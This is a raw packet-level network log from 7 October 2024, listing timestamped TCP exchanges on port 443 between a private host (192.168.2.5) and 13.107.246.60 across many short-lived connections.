Oct 7, 2024 13:26:44.229741096 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.229757071 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.230284929 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.230289936 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.325391054 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.327429056 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.327456951 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.327969074 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.327976942 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.328358889 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.328440905 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.328500986 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.328641891 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.328661919 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.328672886 CEST	49778	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.328677893 CEST	443	49778	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.331737995 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.331770897 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.331851959 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.332120895 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.332134008 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.433319092 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.433398962 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.433516979 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.433695078 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.433718920 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.433733940 CEST	49779	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.433741093 CEST	443	49779	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.436855078 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.436896086 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.436990976 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.437145948 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.437155008 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.785573959 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.786272049 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.786292076 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.786813021 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.786818027 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.790961027 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.791414022 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.791435957 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.791876078 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.791884899 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.813095093 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.813978910 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.814019918 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.814423084 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.814431906 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.884742975 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.884854078 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.884941101 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.885245085 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.885266066 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.885281086 CEST	49780	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.885289907 CEST	443	49780	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.888855934 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.888897896 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.888968945 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.889122009 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.889134884 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.890042067 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.890103102 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.890305996 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.890305996 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.890377045 CEST	49781	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.890393972 CEST	443	49781	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.892457008 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.892489910 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.892554045 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.892668962 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.892682076 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.913791895 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.913968086 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.914078951 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.914078951 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.914238930 CEST	49782	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.914248943 CEST	443	49782	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.916852951 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.916883945 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.916934967 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.917083979 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.917092085 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.972273111 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.973033905 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.973059893 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:44.973656893 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:44.973673105 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.070981979 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.071885109 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.071897984 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.072722912 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.072727919 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.075330973 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.075427055 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.075495958 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.075757980 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.075781107 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.075793028 CEST	49783	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.075799942 CEST	443	49783	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.080225945 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.080261946 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.080326080 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.080497026 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.080514908 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.171027899 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.171087027 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.171184063 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.171420097 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.171443939 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.171458006 CEST	49784	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.171463966 CEST	443	49784	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.174504995 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.174552917 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.174665928 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.174830914 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.174848080 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.532002926 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.532622099 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.532649040 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.533159971 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.533164978 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.561518908 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.562067986 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.562083006 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.562304020 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.562576056 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.562581062 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.562829018 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.562865019 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.563199997 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.563208103 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.631186962 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.631365061 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.631531000 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.631828070 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.631848097 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.631869078 CEST	49786	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.631875038 CEST	443	49786	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.635485888 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.635540009 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.635608912 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.635759115 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.635776043 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.663105011 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.663184881 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.663446903 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.663477898 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.663494110 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.663508892 CEST	49787	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.663515091 CEST	443	49787	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.666631937 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.666676044 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.666716099 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.666728020 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.666757107 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.666763067 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.666810989 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.666857958 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.667017937 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.667032957 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.667041063 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.667041063 CEST	49785	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.667057991 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.667068005 CEST	443	49785	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.669491053 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.669518948 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.669574022 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.669713974 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.669733047 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.715677023 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.716428995 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.716468096 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.716942072 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.716953039 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.819684982 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.819711924 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.819849014 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.819868088 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.819921017 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.820230961 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.820255041 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.820269108 CEST	49788	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.820280075 CEST	443	49788	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.823874950 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.823925018 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.824026108 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.824208975 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.824227095 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.839056015 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.839654922 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.839674950 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.840157986 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.840163946 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.942533016 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.942595959 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.942663908 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.942682028 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.942724943 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.942728996 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.942787886 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.942971945 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.942989111 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.943000078 CEST	49789	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.943005085 CEST	443	49789	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.946394920 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.946441889 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:45.946532011 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.946707964 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:45.946727037 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.275938034 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.276572943 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.276595116 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.277095079 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.277100086 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.300566912 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.301533937 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.301551104 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.302009106 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.302016020 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.345026970 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.345626116 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.345643044 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.346090078 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.346095085 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.399421930 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.399509907 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.399758101 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.399816036 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.399841070 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.399853945 CEST	49791	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.399862051 CEST	443	49791	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.403234959 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.403274059 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.403541088 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.403541088 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.403573036 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.404752970 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.404814005 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.404937029 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.404958963 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.404988050 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.405030012 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.405049086 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.405064106 CEST	49790	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.405069113 CEST	443	49790	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.407119989 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.407150030 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.407222986 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.407350063 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.407363892 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.450422049 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.450489044 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.450776100 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.450804949 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.450828075 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.450836897 CEST	49792	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.450841904 CEST	443	49792	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.453866005 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.453908920 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.453989983 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.454160929 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.454176903 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.470179081 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.470673084 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.470691919 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.471158981 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.471163988 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.570020914 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.570162058 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.570364952 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.570419073 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.570436954 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.570450068 CEST	49793	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.570455074 CEST	443	49793	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.573595047 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.573626995 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.573717117 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.573952913 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.573981047 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.588419914 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.588943958 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.588958025 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.589392900 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.589400053 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.696099997 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.696203947 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.696302891 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.696547985 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.696569920 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.696582079 CEST	49794	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.696588993 CEST	443	49794	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.700072050 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.700108051 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:46.700186014 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.700472116 CEST	49799	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:46.700479984 CEST	443	49799	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.046766996 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.047338009 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.047358036 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.047899961 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.047905922 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.072882891 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.073489904 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.073533058 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.074075937 CEST	49796	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.074090004 CEST	443	49796	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.115293026 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.115895987 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.115910053 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.116449118 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.116453886 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.146823883 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.146888018 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.147005081 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.147305012 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.147335052 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.147346973 CEST	49795	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.147352934 CEST	443	49795	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.150521994 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.150557995 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.150640011 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.150815010 CEST	49800	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.150830030 CEST	443	49800	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.217936039 CEST	443	49798	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.218261003 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.218341112 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.218432903 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.218733072 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.218749046 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.218760014 CEST	49797	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.218765020 CEST	443	49797	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:47.218861103 CEST	49798	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:47.218868971 CEST	443	49798	13.107.246.60	192.168.2.5
